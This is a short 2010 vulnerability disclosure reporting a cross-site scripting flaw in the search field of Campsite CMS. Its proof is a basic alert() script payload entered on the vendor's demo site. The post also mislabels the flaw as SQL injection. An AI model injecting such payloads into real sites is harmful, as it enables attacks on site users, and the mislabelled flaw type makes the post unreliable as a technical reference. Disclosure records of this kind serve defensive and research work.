Campsite CMS Cross Site Scripting

`Name : Campsite CMS XSS Vulnerability  
Date : july 13, 2010  
Vendor Url : http://www.sourcefabric.org/en/home/web/6/?tpl=18  
Author : D4rk357   
COntact:D4rk357[at]yahoo][dot]in  
special thanks to : b0nd, Fbih2s,rockey killer,The empty(), punter,eberly,prashant  
greetz to :http://www.garage4hackers.com/forum.php , h4ck3r.in and all ICW members  
#####################################################################################  
Description :Campsite is an open source, free and multilingual content management   
system (CMS) for news websites.   
########################################################################  
Exploit:SQLi Injection  
Campsite cms SUFFERS fROM xss VULNERABILTIY   
DEMO URL :http://campsite-demo.sourcefabric.org/  
Proof:  
In search Tab type <script>alert("xss")</script>  
###############################################  
#When you really want something the whole uniververse consipres for you to achieve it :Paulo Coelho  
#D4rk357  
`